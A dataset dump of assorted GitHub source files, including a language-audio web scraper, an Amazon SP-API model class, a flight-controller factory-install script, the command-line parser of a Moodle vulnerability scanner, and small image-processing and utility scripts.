nextTitleTreeName = '//*[@id=\"left_panel\"]/div/div/div[{0}]/table/tbody/tr/td[2]/div/span[3]/a'.format(str(i))\r\n nextWordCountTreeName = '//*[@id=\"left_panel\"]/div/div/div[{0}]/table/tbody/tr/td[2]/div[3]/span'.format(str(i))\r\n\r\n return validPages\r\n\r\n\r\n\r\ndef readSearchPage(num):\r\n '''readSearchPage\r\n This method is built to read a single page of the normal search pages,\r\n with some sort of search string given. \r\n num: The index of the search page to be processed. \r\n \r\n Returns: A dictionary, containing string URLs of valid pages,\r\n keyed to the ratio of trilled RRs for each.'''\r\n\r\n validPages = {}\r\n page = requests.get('https://rhinospike.com/search/?page=' + str(num) + '&q=rr&language=2')\r\n tree = html.fromstring(page.content)\r\n\r\n for i in range(1, 11):\r\n titleTree = tree.xpath('//*[@id=\"left_panel\"]/div/div[' + str(i) \r\n + ']/table/tbody/tr/td[2]/div[1]/span[3]/a')\r\n wordCountTree = tree.xpath('//*[@id=\"left_panel\"]/div/div[' + str(i) \r\n + ']/table/tbody/tr/td[2]/div[3]/span[1]')\r\n\r\n #Quick and dirty fix for an error where the first element doesn't work properly\r\n if i == 1:\r\n titleTree = tree.xpath('//*[@id=\"left_panel\"]/div/div/table/tbody/tr/td[2]/div/span[3]/a')\r\n wordCountTree = tree.xpath('//*[@id=\"left_panel\"]/div/div/table/tbody/tr/td[2]/div[3]/span')\r\n\r\n link = WEBSITE_LINK + titleTree[0].get('href')\r\n title = titleTree[0].text\r\n\r\n #indexing at end gets a string of just the number, without ' Words'\r\n wordCount = wordCountTree[0].text[:-6]\r\n wordCount = int(wordCount)\r\n\r\n if wordCount > MIN_WORD_COUNT and wordCount < MAX_WORD_COUNT:\r\n validPages[title] = link\r\n return validPages\r\n\r\ndef getTranscript(link):\r\n page = requests.get(link)\r\n tree = html.fromstring(page.content)\r\n\r\n textTree = tree.xpath('//*[@id=\"left_panel\"]/div/div/div/div[2]')\r\n text = ''\r\n for element in textTree[0].getchildren():\r\n text += element.text\r\n return text\r\n\r\ndef processPage(link, mod):\r\n '''\r\n processPage\r\n DEPRECIATED, as it fails to properly login to download the files. \r\n link: a link to the page to be processed\r\n session: a session object that's already logged in\r\n mode: determines which folder to save the results to. \r\n Can be 'test', 'training', or 'cv'.\r\n '''\r\n page = requests.get(url=link, auth=auth) \r\n tree = html.fromstring(page.content)\r\n\r\n textTree = tree.xpath('//*[@id=\"left_panel\"]/div/div/div/div[2]')\r\n text = ''\r\n for element in textTree[0].getchildren():\r\n text += element.text\r\n\r\n if text.count(SEARCHED_PHONEME) < MIN_RR_OCCURENCE:\r\n return False\r\n\r\n #Fetches the link from the transcription page\r\n downloadTree = tree.xpath('//*[@id=\"left_panel\"]/div/div/div/ul/li/span[3]/a')\r\n\r\n for element in tree.xpath(\"//*[@id='left_panel']/div/div/div/ul/li/span[3]/a\"):\r\n print(element.get('href'))\r\n #If the top link is locked behind a paywall, it skips it. \r\n # for child in tree.xpath('//*[@id=\"left_panel\"]/div/div/div/ul')[0].iterchildren():\r\n # print('Recorder Name:', child.find('/a/strong')[0].text)\r\n # print('Child:', len(child.find('/span[3]')))\r\n #while downloadTree.text == 'Unlock' and count < 3:\r\n # downloadTree = tree.xpath('//*[@id=\"left_panel\"]/div/div/div/ul/li[2]/span[3]/a')\r\n # count += 1\r\n downloadLink = WEBSITE_LINK + downloadTree[0].get('href')\r\n \r\n\r\n print('Download Link:', downloadLink) #DEBUG\r\n\r\n # Follows the link to the download page\r\n # downloadPage = requests.get(downloadLink)\r\n # downloadPageTree = html.fromstring(page.content)\r\n\r\n #Downloads the actual file\r\n # downloadLink = downloadPageTree.xpath('//*[@id=\"body\"]/p[4]/a')\r\n # downloadedFile = requests.get(downloadLink).content\r\n \r\n \r\n #Saves the file with the title of the transcription as its title\r\n # mp3Name = tree.xpath('//*[@id=\"left_panel\"]/div/div/div/table/tbody/tr/td[2]/div/span[3]/a')[0].text\r\n # mp3Name = '.\\Raw Data\\mp3\\\\' + mode + '\\\\'+ mp3Name + '.mp3'\r\n # song = open(mp3Name, 'wb')\r\n # song.write(downloadedFile)\r\n # song.close()\r\n return True\r\n\r\ndef rhinoSpikeLogin():\r\n '''\r\n Pulled from a helpful stackOverflow user: \r\n https://stackoverflow.com/questions/8316818/login-to-website-using-python/8316989#8316989\r\n\r\n '''\r\n # Start a session so we can have persistant cookies\r\n mySession = requests.Session()\r\n\r\n # This is the form data that the page sends when logging in\r\n login_data = {\r\n 'loginemail': EMAIL,\r\n 'loginpswd': PASSWORD,\r\n #'submit': 'Log in',\r\n }\r\n\r\n # Authenticate\r\n r = mySession.post(WEBSITE_LINK + '/account/login', data=login_data)\r\n print('Status Code:', r.status_code) #DEBUG\r\n \r\n return mySession\r\n\r\ndef saveObj(name, obj):\r\n '''saveObj\r\n Credit due to user Zah, from:\r\n https://stackoverflow.com/questions/19201290/how-to-save-a-dictionary-to-a-file'''\r\n with open(name + '.pkl', 'wb') as f:\r\n pickle.dump(obj, f, pickle.HIGHEST_PROTOCOL)\r\n\r\ndef loadObj(name):\r\n '''loadObj\r\n Credit due to user Zah, from:\r\n https://stackoverflow.com/questions/19201290/how-to-save-a-dictionary-to-a-file'''\r\n with open(name + '.pkl', 'rb') as f:\r\n return pickle.load(f)\r\n\r\nif __name__ == '__main__':\r\n finalURLs = loadObj('validURLs')\r\n # finalURLs = {}\r\n print('{0} URLs loaded from previous runs.'.format(len(finalURLs)))\r\n for num in range(101, 500):\r\n validPages = readLangPage(num)\r\n print('Page {0} returned:'.format(num), validPages) #DEBUG\r\n finalURLs = dict(finalURLs, **validPages)\r\n print('Len:', len(finalURLs)) #DEBUG\r\n if num % 100 == 0:\r\n saveObj('validURLs', finalURLs)\r\n time.sleep(1000)\r\n \r\n saveObj('validURLs', finalURLs)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# '//*[@id=\"left_panel\"]/div/div[1]/table/tbody/tr/td[2]/div[3]/span[1]'\r\n# '//*[@id=\"left_panel\"]/div/div[2]/table/tbody/tr/td[2]/div[3]/span[1]'\r\n# '//*[@id=\"left_panel\"]/div/div[3]/table/tbody/tr/td[2]/div[3]/span[1]'\r\n\r\n \r\n\r\n\r\n","repo_name":"robbwdoering/AutoFono","sub_path":"webScraper.py","file_name":"webScraper.py","file_ext":"py","file_size_in_byte":8866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33901303663","text":"import datetime\nfrom typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar\n\nimport attr\nfrom dateutil.parser import isoparse\n\nif TYPE_CHECKING:\n from ..models.order_acknowledgement_item import OrderAcknowledgementItem\n from ..models.party_identification import PartyIdentification\n\n\nT = TypeVar(\"T\", bound=\"OrderAcknowledgement\")\n\n\n@attr.s(auto_attribs=True)\nclass OrderAcknowledgement:\n r\"\"\"\n Attributes:\n purchase_order_number (str): The purchase order number. Formatting Notes: 8-character alpha-numeric code.\n selling_party (PartyIdentification):\n acknowledgement_date (datetime.datetime): The date and time when the purchase order is acknowledged, in ISO-8601\n date/time format.\n items (List['OrderAcknowledgementItem']): A list of the items being acknowledged with associated details.\n \"\"\"\n\n purchase_order_number: str\n selling_party: \"PartyIdentification\"\n acknowledgement_date: datetime.datetime\n items: List[\"OrderAcknowledgementItem\"]\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n purchase_order_number = self.purchase_order_number\n selling_party = self.selling_party.to_dict()\n\n acknowledgement_date = self.acknowledgement_date.isoformat()\n\n items = []\n for items_item_data in self.items:\n items_item = items_item_data.to_dict()\n\n items.append(items_item)\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update(\n {\n \"purchaseOrderNumber\": purchase_order_number,\n \"sellingParty\": selling_party,\n \"acknowledgementDate\": acknowledgement_date,\n \"items\": items,\n }\n )\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n from ..models.order_acknowledgement_item import OrderAcknowledgementItem\n from ..models.party_identification import PartyIdentification\n\n d = src_dict.copy()\n purchase_order_number = d.pop(\"purchaseOrderNumber\")\n\n selling_party = PartyIdentification.from_dict(d.pop(\"sellingParty\"))\n\n acknowledgement_date = isoparse(d.pop(\"acknowledgementDate\"))\n\n items = []\n _items = d.pop(\"items\")\n for items_item_data in _items:\n items_item = OrderAcknowledgementItem.from_dict(items_item_data)\n\n items.append(items_item)\n\n result = cls(\n purchase_order_number=purchase_order_number,\n selling_party=selling_party,\n acknowledgement_date=acknowledgement_date,\n items=items,\n )\n\n result.additional_properties = d\n return result\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"milyord/sp-api","sub_path":"sp/vendor_orders/models/order_acknowledgement.py","file_name":"order_acknowledgement.py","file_ext":"py","file_size_in_byte":3311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38387096631","text":"import logging\n\nimport sqlalchemy.exc as exc\n\nimport config\n\n\ndef setup_logger():\n logger_ = logging.getLogger('Database')\n logger_.setLevel(logging.INFO)\n\n formatter = logging.Formatter(\n '%(asctime)s %(levelname)s - %(name)s: \"%(message)s\"'\n )\n\n stderr_handler = logging.StreamHandler()\n stderr_handler.setFormatter(formatter)\n logger_.addHandler(stderr_handler)\n\n if config.database_log_file is not None:\n file_handler = logging.FileHandler(config.database_log_file, encoding='utf-8')\n file_handler.setFormatter(formatter)\n logger_.addHandler(file_handler)\n\n return logger_\n\n\ndef log(func):\n def wrapper(*args, **kwargs):\n logger.info(f'Function {func.__module__}.{func.__name__} called with args: {args}, kwargs: {kwargs}')\n try:\n result = func(*args, **kwargs)\n logger.info(f'Function {func.__module__}.{func.__name__} returned {result}')\n return result\n except exc.SQLAlchemyError as e:\n logger.error(f'Function {func.__module__}.{func.__name__} raised {e}')\n raise exc.SQLAlchemyError(f\"{func.__module__}.{func.__name__}, error description: {e.args[0]}!\")\n\n return wrapper\n\n\nlogger = setup_logger()\n","repo_name":"Cub11k/lavochki-bot-df-2023","sub_path":"database/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"7206171541","text":"# Number 1\ncount = 0\nraz = 100000000\ndata = []\nfor i in open('17-3.txt'):\n data.append(int(i))\nfor i in range(len(data) - 2):\n troyka = [data[i], data[i + 1], data[i + 2]]\n if troyka[0] <= troyka[1] <= troyka[2]:\n raz = min(raz, max(troyka) - min(troyka))\n count += 1\nprint('\\n#1:', count, raz)\n\n'-----------------------------------------------'\n\n# Number 2\ncount = 0\ndata = []\nfor i in open('17-4.txt'):\n data.append(int(i))\nnumbers = []\nfor i in data:\n if i % 3 == 0 and i % 9 != 0 and i % 10 >= 4:\n numbers.append(i)\nprint('#2:', len(numbers), sum(numbers) // len(numbers))\n\n'-----------------------------------------------'\n\n# Number 3\ncount = 0\ndata = []\nfor i in open('17-4.txt'):\n data.append(int(i))\nnumbers = []\nfor i in data:\n if i % 13 == 7 and i % 7 != 0 and i % 11 != 0:\n numbers.append(i)\nprint('#3:', max(numbers) - min(numbers), len(numbers))\n\n\n'''\n #1: 832 460\n #2: 247 5706\n #3: 8515 126\n'''\n","repo_name":"Andrey-Bedretdinov/School","sub_path":"Архив/Самостоятельные работы/Бедретдинов СР Вариант 3 14.12.21/Бедретдинов СР Вариант 3 14.12.21.py","file_name":"Бедретдинов СР Вариант 3 14.12.21.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70992273","text":"import requests\nimport datetime\nimport json\n\ndef send_application(url, vote_link, token, name='', position=None):\n\n request = {\n 'content': '',\n 'embeds': [\n {\n 'title': 'New application received!',\n 'icon_url': '',\n 'timestamp': datetime.datetime.utcnow().isoformat(),\n 'description':\n ('`{name}` has applied' + (' for '+position if position is not None else '') + \n '!\\n'\n '[Admin panel]({vote_link}/{token})\\n'\n '[Member voting]({vote_link})'\n '').format(name=name, vote_link=vote_link, token=token)\n }\n ]\n }\n\n headers = {'Content-Type': 'application/json'}\n\n request = json.dumps(request)\n response = requests.post(url, data=request, headers=headers)\n print('Sent discord webhook, response was ' + str(response))\n\n","repo_name":"lekro/frostcraft-web","sub_path":"web/discord.py","file_name":"discord.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9370553443","text":"#!/usr/bin/env python\n'''\n run factory load, calibration and test\n'''\n\nfrom config import *\nimport configcheck\nimport logger\nimport accelcal\nimport jtag\nimport power_control\nimport time\nimport util\nimport sys, os, fcntl\nimport logger\nimport colour_text\nimport connection\nimport rotate\nimport barcode\nimport savedstate\n\nfh = open(os.path.realpath(__file__), 'r')\ntry:\n fcntl.flock(fh, fcntl.LOCK_EX|fcntl.LOCK_NB)\nexcept:\n print(\"another instance of this script is already running. exiting...\")\n sys.exit(0)\n\n# disable stdout buffering\nsys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)\n\nfrom argparse import ArgumentParser\nparser = ArgumentParser(description=__doc__)\n\nparser.add_argument(\"--test\", default=False, action='store_true', help=\"run in test loop\")\nparser.add_argument(\"--once\", default=False, action='store_true', help=\"run one install only\")\nparser.add_argument(\"--nofw\", default=False, action='store_true', help=\"don't reload firmware\")\nparser.add_argument(\"--erase\", default=False, action='store_true', help=\"erase firmware and parameters\")\nparser.add_argument(\"--monitor\", default=None, help=\"monitor address\")\nparser.add_argument(\"--barcode\", default=None, help=\"override barcode\")\nargs = parser.parse_args()\n\nif args.monitor:\n REMOTE_MONITOR['ref'] = args.monitor + \":16550\"\n REMOTE_MONITOR['test'] = args.monitor + \":16551\"\n\ncolour_text.print_blue(\"Starting up\")\n\ndef factory_install(device_barcode):\n '''main factory installer'''\n start_time = time.time()\n\n if not args.test:\n colour_text.clear_screen()\n\n # start a new log directory on each run\n logger.new_log_dir()\n logger.reopen_logfile()\n\n logdir = logger.get_log_dir()\n logger.info(\"Logging to %s\" % logdir)\n logger.info(\"Device barcode %s\" % device_barcode)\n\n colour_text.print_blue('''\n==================================================\n| Starting installation. Barcode is %s\n==================================================\n''' % device_barcode)\n\n logger.info(time.ctime())\n \n if args.erase:\n if not jtag.erase_firmwares():\n colour_text.print_fail('''\n======================================\n| FAILED: JTAG firmware erase failed\n======================================\n''')\n logger.critical(\"JTAG firmware erase failed\")\n return False\n \n if not args.nofw and not jtag.load_all_firmwares(retries=3):\n colour_text.print_fail('''\n======================================\n| FAILED: JTAG firmware install failed\n======================================\n''')\n logger.critical(\"JTAG firmware install failed\")\n try:\n conn = connection.Connection(ref_only=True)\n rotate.center_servos(conn)\n except Exception as ex:\n print(\"Failed to center servos: %s\" % ex)\n pass\n return False\n\n if args.erase:\n if not connection.erase_parameters():\n colour_text.print_fail('''\n==========================================\n| FAILED: Failed to erase parameters\n==========================================\n''')\n logger.critical(\"Failed to erase parameters\")\n return False\n\n if not accelcal.accel_calibrate_retries(retries=4):\n colour_text.print_fail('''\n==========================================\n| FAILED: Accelerometer calibration failed\n==========================================\n''')\n logger.critical(\"Accelerometer calibration failed\")\n return False\n\n # all OK\n colour_text.print_green('''\n================================================\n| Device: %s\n| PASSED: Factory install complete (%u seconds)\n================================================\n''' % (device_barcode, (time.time() - start_time)))\n logger.info(\"Factory install complete (%u seconds)\" % (time.time() - start_time))\n return True\n\n# load the jig state file\nsavedstate.init()\nsavedstate.reset('current_cycles')\n\nwhile True:\n logger.get_ftdi()\n jigstate = savedstate.get()\n logger.info(\"jigstate: total_cycles = %i\" % jigstate['total_cycles'])\n logger.info(\"jigstate: current_cycles = %i\" % jigstate['current_cycles'])\n\n util.kill_processes(['mavproxy.py', GDB])\n\n if args.test:\n # power cycle each time, simulating new board put in\n power_control.power_cycle()\n else:\n # wait for the power to be switched off, disable serial logging\n logger.info(\"waiting for power off\")\n util.wait_no_device([FMU_JTAG, IO_JTAG], timeout=600)\n\n device_barcode = args.barcode\n if not args.test and device_barcode is None:\n colour_text.print_blue('''\n==========================================\n| PLEASE SWIPE DEVICE BARCODE\n==========================================\n''')\n device_barcode = barcode.barcode_read()\n if device_barcode is None:\n colour_text.print_fail('''\n ==========================================\n | FAILED: Barcode not detected\n ==========================================\n ''')\n logger.critical(\"Barcode not detected\")\n time.sleep(2)\n continue\n \n # we don't use logger for the barcode here as we are still on the previous\n # boards log\n print(\"Got barcode: %s\" % device_barcode)\n logger.info(\"Barcode detected\")\n \n # wait for the power to come on again\n while not util.wait_devices([FMU_JTAG, IO_JTAG, FMU_DEBUG]):\n logger.info(\"waiting for power up....\")\n\n ret = factory_install(device_barcode)\n\n # increment the cycles counters\n savedstate.incr('current_cycles')\n savedstate.incr('total_cycles')\n\n if args.once:\n sys.exit(int(not ret))\n","repo_name":"tridge/FWLoad","sub_path":"factoryload.py","file_name":"factoryload.py","file_ext":"py","file_size_in_byte":5664,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"71387865333","text":"import sys\nimport argparse\n\nfrom utils.output import color\n\n\nclass CustomArgumentParser(argparse.ArgumentParser):\n\tdef format_usage(self):\n\t\tcustom_usage = super().format_usage()\n\t\tcustom_usage = custom_usage.replace('usage: ', color.BOLD + 'Usage: ' + color.END)\n\t\tcustom_usage = custom_usage.replace('optional arguments:', color.BOLD + 'Arguments:' + color.END)\n\t\treturn custom_usage\n\t\n\tdef format_help(self):\n\t\tcustom_help = super().format_help()\n\t\tcustom_help = custom_help.replace('usage: ', color.BOLD + 'Usage: ' + color.END)\n\t\tcustom_help = custom_help.replace('optional arguments:', color.BOLD + 'Arguments:' + color.END)\n\t\tcustom_help = custom_help.replace('show this help message and exit', 'Show this help message and exit')\n\t\treturn custom_help\n\t\n\tdef print_usage(self, file=sys.stdout):\n\t\tfile.write(self.format_usage() + 'Use -h or --help for more details\\n\\n')\n\n\ndef get_parser():\n\tformatter = lambda prog: argparse.HelpFormatter(prog, max_help_position=40, width=100)\n\tparser = CustomArgumentParser(formatter_class=formatter, usage='\\n{} [ARGUMENTS]\\n'.format(sys.argv[0]))\n\t\n\tparser.add_argument('-u', '--url', help='Moodle target URL')\n\tparser.add_argument('-a', '--auth', help='Moodle username and password (separated by \":\")')\n\tparser.add_argument('-p', '--proxy', help='Proxy used for connecting to moodle (ex: https://127.0.0.1:8080)')\n\tparser.add_argument('-H', '--header', help='Headers used for HTTP connections', action='append', nargs='?', dest='headers')\n\tparser.add_argument('-l', '--level', help='Level of tests to perform (default: 1)', type=int, default=1)\n\tparser.add_argument('-v', '--verbose', help='Verbosity level (default: 1)', type=int, default=1, dest='verbosity')\n\tparser.add_argument('-r', '--random-agent', help='Random User Agent (default: Chrome Win10)', action='store_const', const=True, dest='random_agent')\n\tparser.add_argument('-e', '--exploit', help='Enable exploit mode (default: check mode)', action='store_const', const=True)\n\tparser.add_argument('-s', '--scrape', help='Scraping mode: scrape all the pages from moodle and save the result in a JSON file (default: disabled)', action='store_const', const=True)\n\tparser.add_argument('-o', '--outfile', help='Output file to save scan results (in JSON format)')\n\tparser.add_argument('-m', '--list-modules', help='List all the community vulnerability modules', action='store_const', const=True, dest='list_modules')\n\tparser.add_argument('-U', '--update', help='Update badmoodle vulnerability database', action='store_const', const=True)\n\t\n\treturn parser\n\n\ndef parse_args():\n\treturn get_parser().parse_args()\n\n\ndef help():\n\treturn get_parser().print_help()\n\n\ndef usage():\n\treturn get_parser().print_usage()","repo_name":"cyberaz0r/badmoodle","sub_path":"utils/argparse.py","file_name":"argparse.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"21"} +{"seq_id":"18160246970","text":"import json\n\n# Define your input file containing a list of JSON objects\ninput_file = 'path/to/your/input_file.jsonl'\n\n# Define the output schema file\noutput_schema_file = 'json_schema.json'\n\n# Function to update the schema with the data from the given JSON object\ndef update_schema_with_object(schema, json_obj):\n for key, value in json_obj.items():\n if key not in schema:\n if isinstance(value, dict):\n schema[key] = {\n \"type\": \"object\",\n \"properties\": update_schema_with_object({}, value)\n }\n elif isinstance(value, list) and len(value) > 0 and isinstance(value[0], dict):\n schema[key] = {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"object\",\n \"properties\": update_schema_with_object({}, value[0])\n }\n }\n else:\n schema[key] = {\n \"type\": type(value).__name__,\n \"example\": value\n }\n elif schema[key][\"type\"] == \"object\" and isinstance(value, dict):\n schema[key][\"properties\"] = update_schema_with_object(schema[key][\"properties\"], value)\n elif schema[key][\"type\"] == \"array\" and isinstance(value, list) and len(value) > 0 and isinstance(value[0], dict):\n schema[key][\"items\"][\"properties\"] = update_schema_with_object(schema[key][\"items\"][\"properties\"], value[0])\n\n return schema\n\n# Generate the JSON schema\ndef generate_json_schema(input_file):\n schema = {}\n with open(input_file, 'r') as file:\n for line in file:\n json_obj = json.loads(line.strip())\n schema = update_schema_with_object(schema, json_obj)\n return schema\n\n# Run the script and generate the JSON schema\njson_schema = generate_json_schema(input_file)\n\n# Write the JSON schema to a file\nwith open(output_schema_file, 'w') as outfile:\n json.dump(json_schema, outfile, indent=4)\n","repo_name":"jcha-ultra/toolkit","sub_path":"python_toolkit/json/extract_json_schema.py","file_name":"extract_json_schema.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32130170171","text":"\"\"\"\r\nCreate a program that allows him to input a certain amount of change, and then print how how many quarters, dimes, nickels, and pennies are needed to make up the amount needed. \r\nFor example, if he inputs 1.47, the program will tell that he needs $1 and 1 quarters, 2 dimes, 0 nickels, and 2 pennies.\r\n\"\"\"\r\nimport string\r\n\r\ndef main():\r\n\tgivenAmount = input(\"Enter amount given by customer: \")\r\n\tbill = input(\"Enter customer's bill: \")\r\n\t\r\n\ttry:\r\n\t\tchange = float(givenAmount) - float(bill)\r\n\texcept ValueError:\r\n\t\tprint(\"Amount should be a valid integer or decimal value. Eg: 25 or 5.67\")\r\n\t\tmain()\r\n\t\r\n\tif change < 0:\r\n\t\tprint(\"The customer needs to give you more money\")\r\n\t\tmain()\r\n\telif change == 0:\r\n\t\tprint(\"No change to be returned.\")\r\n\telse:\r\n\t\tprint(\"Change = \", change)\r\n\t\tamountParts = str(change).split(\".\")\r\n\t\t\r\n\t\tbigPart = int(amountParts[0])\r\n\t\tsmallPart = int(amountParts[1])\r\n\t\t\r\n\t\tprint(\"You need to return: $\", bigPart, \"and\")\r\n\t\t\r\n\t\t#Getting number of coins\r\n\t\tsmallPart = getQuarters(smallPart)\r\n\t\tsmallPart = getDimes(smallPart)\r\n\t\tsmallPart = getNickels(smallPart)\r\n\t\tgetPennies(smallPart)\r\n\t\t\r\n\t\t\r\ndef getQuarters(smallPart):\r\n\tnumberOfQuarters = 0\r\n\tif smallPart >= 25:\r\n\t\tnumberOfQuarters = int(smallPart / 25)\r\n\t\tsmallPart = smallPart % 25\r\n\t\r\n\tprint(numberOfQuarters,\" quarters.\")\r\n\treturn smallPart\r\n\r\ndef getDimes(smallPart):\r\n\tnumberOfDimes = 0\r\n\tif smallPart >= 10:\r\n\t\tnumberOfDimes = int(smallPart / 10)\r\n\t\tsmallPart = smallPart % 10\r\n\t\r\n\tprint(numberOfDimes,\" dimes.\")\r\n\treturn smallPart\r\n\t\r\ndef getNickels(smallPart):\r\n\tnumberOfNickels = 0\r\n\tif smallPart >= 5:\r\n\t\tnumberOfNickels = int(smallPart / 5)\r\n\t\tsmallPart = smallPart % 5\r\n\t\r\n\tprint(numberOfNickels,\" nickels.\")\r\n\treturn smallPart\r\n\t\r\ndef getPennies(smallPart):\r\n\tnumberOfPennies = 0\r\n\tif smallPart >= 1:\r\n\t\tnumberOfPennies = smallPart\r\n\t\r\n\tprint(numberOfPennies,\" pennies.\")","repo_name":"aishsharma/ChangeCalculator","sub_path":"ChangeCalculator.py","file_name":"ChangeCalculator.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12245824676","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Nov 18 19:54:45 2021\r\n\r\n@author: hanso\r\n\"\"\"\r\n\r\nimport cv2\r\nimport numpy as np\r\nimport math\r\n\r\n'''open images'''\r\n\r\norimg = cv2.imread('part_candy.png')\r\norimg = orimg.astype(np.float32)\r\nimg = cv2.imread('dmg_candy.png')\r\nimg = img.astype(np.float32)\r\ngray = cv2.imread('gray_candy.png', cv2.IMREAD_GRAYSCALE)\r\ngray = gray.astype(np.float32)\r\nb,g,r = cv2.split(img)\r\nprint (gray)\r\n\r\n'''parameters'''\r\nt=10\r\ngemma =0.1\r\np=2\r\nIm = np.zeros((100,100))\r\nk=0\r\nfor i in range (0,100):\r\n for j in range (0,100):\r\n if (i==j):\r\n Im[i,j] = 1\r\n\r\ngivenb = np.zeros((100,1))\r\ngiveng = np.zeros((100,1))\r\ngivenr = np.zeros((100,1))\r\nfor j in range(0,50):\r\n givenb[j,0] = b[24,j]\r\n giveng[j,0] = g[24,j]\r\n givenr[j,0] = r[24,j]\r\n givenb[j+50,0] = b[25,j]\r\n giveng[j+50,0] = g[25,j]\r\n givenr[j+50,0] = r[25,j]\r\n'''kernel'''\r\nkD = np.zeros((100,100))\r\nfor j in range (0,50):\r\n for y in range (0,50):\r\n kD[j,y] = math.exp(-((gray[24,j] - gray[24,y])**p)/4/t)\r\n kD[j,y+50] = math.exp(-((gray[24,j] - gray[25,y])**p)/4/t)\r\n kD[j+50,y+50] = math.exp(-((gray[25,j] - gray[25,y])**p)/4/t)\r\n kD[j+50,y] = math.exp(-((gray[25,j] - gray[24,y])**p)/4/t)\r\n \r\nkCD = np.zeros((2500,100))\r\nfor x in range (0,50):\r\n for y in range (0,50):\r\n for j in range (0,50):\r\n kCD[y+x*50,j] = math.exp(-((gray[x,y]-gray[24,j])**p)/4/t)\r\n kCD[y+x*50,j+50] = math.exp(-((gray[x,y]-gray[25,j])**p)/4/t)\r\n\r\nprint(kD)\r\n'''linear sovler'''\r\nAb = np.linalg.solve(kD+gemma*100*Im, givenb)\r\nAg = np.linalg.solve(kD+gemma*100*Im, giveng)\r\nAr = np.linalg.solve(kD+gemma*100*Im, givenr)\r\nFb = np.matmul(kCD,Ab)\r\nFg = np.matmul(kCD,Ag)\r\nFr = np.matmul(kCD,Ar)\r\nprint(Ab)\r\nprint(Fb)\r\n\r\n\r\nnewb=np.zeros((50,50))\r\nnewg=np.zeros((50,50))\r\nnewr=np.zeros((50,50))\r\nfor i in range (0,50):\r\n for j in range(0,50):\r\n newb[i,j] = Fb[k,0]\r\n newg[i,j] = Fg[k,0]\r\n newr[i,j] = Fr[k,0]\r\n k+=1\r\n\r\nprint(k)\r\nprint(b[25,:])\r\nprint(newb[25,:])\r\n'''show results'''\r\ncolored = cv2.merge([newb,newg,newr])\r\nimg = np.clip(img, 0, 255).astype(np.uint8)\r\norimg = np.clip(orimg, 0, 255).astype(np.uint8)\r\ncolored = np.clip(colored, 0, 255).astype(np.uint8)\r\ngray = np.clip(gray, 0, 255).astype(np.uint8)\r\ncv2.imshow('original' , orimg)\r\ncv2.imshow('given' , img)\r\ncv2.imshow('result' , colored)\r\ncv2.imshow('gray' , gray)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()","repo_name":"tzhang417/Reproducing-Kernel-Hilbert-Space-Image-Coloring-Based-on-Grayness","sub_path":"rkhs.py","file_name":"rkhs.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21073616417","text":"#pip install pip install opencv-python \r\nimport cv2\r\nfrom random import randrange\r\n\r\n#load some pretrained data on face frontals from open cv (haar cascade algotithm (git hub opencv the data ))\r\ntrained_face_data = cv2.CascadeClassifier(\"haarcascade_frontalface_default.xml\")\r\n\r\n#choose an image to detect faces\r\nwebcam = cv2.VideoCapture(0)\r\n\r\n#iterate over frames\r\nwhile True:\r\n\r\n #read current frame\r\n successful_frame_read, frame = webcam.read()\r\n\r\n\r\n #convert to greyscale\r\n greyscaled_img = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n\r\n #detect faces\r\n face_coordinates = trained_face_data.detectMultiScale(greyscaled_img)\r\n\r\n #draw rectangle\r\n for (x , y, w, h) in face_coordinates:\r\n #(x , y, w, h)=face_coordinates[0]\r\n cv2.rectangle(frame ,(x, y), (x+w , y+h) , (randrange(256), randrange(256), randrange(256)), 5)\r\n \r\n #display\r\n cv2.imshow(\"sabya's Face detection app\" ,frame)\r\n \r\n #one is added so that the frame change evry 1millisecond without key press\r\n key = cv2.waitKey(1)\r\n\r\n if key == 27: # exit on ESC\r\n break\r\n#release video capture\r\nwebcam.release()\r\n\r\n\r\nprint(\"code completed\")","repo_name":"sm1216/python","sub_path":"Face_detector2.py","file_name":"Face_detector2.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72774973174","text":"# 친구와 친구의 친구까지 초대\nimport 